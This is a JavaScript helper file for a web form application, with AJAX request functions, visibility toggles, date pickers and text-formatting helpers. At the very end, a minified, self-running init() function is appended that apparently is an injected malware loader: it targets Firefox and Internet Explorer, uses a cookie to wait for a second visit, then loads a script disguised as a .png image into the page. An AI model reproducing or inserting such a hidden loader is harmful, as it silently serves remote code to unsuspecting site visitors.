
/************************************************************* AJAX *************************************************************/

function newxmlhttp () {
	var xmlhttp=false;
	/*@cc_on @*/
	/*@if (@_jscript_version >= 5)
	// JScript gives us Conditional compilation, we can cope with old IE versions.
	// and security blocked creation of the objects.
	try {
		xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
	} catch (e) {
		try {
			xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		} catch (E) {
			xmlhttp = false;
		}
	}
	@end @*/
	if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
		try {
			xmlhttp = new XMLHttpRequest();
		} catch (e) {
			xmlhttp=false;
		}
	}
	if (!xmlhttp && window.createRequest) {
		try {
			xmlhttp = window.createRequest();
		} catch (e) {
			xmlhttp=false;
		}
	}
	return xmlhttp;
}

function form_to_params (form_id) {
	var params = new Array();
	
	var form = document.getElementById(form_id);
	if( form != null ){
		var elem = form.elements;
		for(var i = 0; i < elem.length; i++){
			if( elem[i].type == 'radio' ){
				if( elem[i].checked == true ){
					params.push(elem[i].name + "=" + encodeURIComponent(elem[i].value));
				}
			}
			else {
				params.push(elem[i].name + "=" + encodeURIComponent(elem[i].value));
			}
		}
	}
	else {
		alert('form_to_params: form not found');
	}
	return params.join("&");
}

function request_to_element (params, eid, focus_eid) {
	params += '&__xmlhttp=1';
	var xmlhttp = newxmlhttp();
	xmlhttp.open("POST", "?", true);
	xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xmlhttp.setRequestHeader("Content-length", params.length);
	xmlhttp.setRequestHeader("Connection", "close");
	xmlhttp.onreadystatechange=function() {
		if (xmlhttp.readyState==4) {
			if (xmlhttp.status==200){
				var element = document.getElementById(eid);
				if( element != null ){
					element.innerHTML = xmlhttp.responseText;
					if( focus_eid != null ){
						set_focus_by_id(focus_eid);
					}
				}
				else {
					alert('request_to_element: element not found');
				}
			}
			else {
				alert('Something went wrong. Your recent actions may not have been saved. (HTTP status ' + xmlhttp.status + ')');
			}
		}
	}
	xmlhttp.send(params);
}

function request_to_eval (params) {
	params += '&__xmlhttp=1';
	var xmlhttp = newxmlhttp();
	xmlhttp.open("POST", "?", true);
	xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xmlhttp.setRequestHeader("Content-length", params.length);
	xmlhttp.setRequestHeader("Connection", "close");
	xmlhttp.onreadystatechange=function() {
		if (xmlhttp.readyState==4) {
			if (xmlhttp.status==200){
				try {
					eval(xmlhttp.responseText);
				} catch (e) {
					alert('request_to_eval: died: ' + xmlhttp.responseText + ' -- ' + e.description);
				}
			}
			else {
				alert('Something went wrong. Your recent actions may not have been saved. (HTTP status ' + xmlhttp.status + ')');
			}
		}
	}
	xmlhttp.send(params);
}

function form_to_element (form_id, eid, focus_eid){
	request_to_element(form_to_params(form_id), eid, focus_eid);
}

function form_to_eval (form_id){
	request_to_eval(form_to_params(form_id));
}

/************************************************************* /AJAX *************************************************************/

function toggle_visibility (element_id){
	var element = document.getElementById(element_id);
	if( element != null ){
		if( element.style.display != 'block' ){
			element.style.display = 'block';
		}
		else {
			element.style.display = 'none';
		}
	}
}

function toggle_visibility_inline (element_id){
	var element = document.getElementById(element_id);
	if( element != null ){
		if( element.style.display != 'inline' ){
			element.style.display = 'inline';
		}
		else {
			element.style.display = 'none';
		}
	}
}

function set_date_today(field_name){
	var now = new Date();
	
	var day_field = field_name + '__day'; var day = document.getElementById(day_field); if( day != null ){ setListBoxSelectedValue(day, now.getDate()); }
	var month_field = field_name + '__month'; var month = document.getElementById(month_field); if( month != null ){ month.selectedIndex = now.getMonth() + 1; }
	var year_field = field_name + '__year'; var year = document.getElementById(year_field); if( year != null ){ setListBoxSelectedValue(year, now.getFullYear()); }
	var hour_field = field_name + '__hour'; var hour = document.getElementById(hour_field); if( hour != null ){ setListBoxSelectedValue(hour, now.getHours()); }
	var minute_field = field_name + '__minute'; var minute = document.getElementById(minute_field); if( minute != null ){ setListBoxSelectedValue(minute, now.getMinutes()); }
}

function setListBoxSelectedValue(listbox, value){
	if( listbox != null ){
		for(i=0;i<listbox.length;i++){
			if(listbox.options[i].value==value){
				listbox.selectedIndex=i;
			}
		}
	}
}

function single_select_changed(select){
	var hidden_other_id = 'formfield_' + select.name + '_other';
	var hidden_other_element = document.getElementById(hidden_other_id);
	if( hidden_other_element != null ){
		if( select.value == 'SELECTED_OTHER' ){
			hidden_other_element.style.display = 'block';
			var textbox = hidden_other_element.getElementsByTagName('input');
			if( textbox != null ){
				textbox[0].focus();
			}
		}
		else {
			hidden_other_element.style.display = 'none';
		}
	}
}

function set_focus_by_id(eid){
	var element = document.getElementById(eid);
	if( element != null ){
		element.focus();
	}
}

function textarea_formatting(field_id, tag){
	var element = document.getElementById(field_id);
	if( element != null ){
		var selectedText=document.selection?document.selection.createRange().text:element.value.substring(element.selectionStart,element.selectionEnd);// IE:Moz
		var newText='['+tag+']'+selectedText+'[/'+tag+']';
		if(document.selection){//IE
			document.selection.createRange().text=newText;
		}
		else{//Moz
			element.value=element.value.substring(0,element.selectionStart)+newText+element.value.substring(element.selectionEnd,element.value.length);
		}
	}
	else {
		alert('element null ' + field_id);
	}
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/kwaliteitsbutton-de-klant-top.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
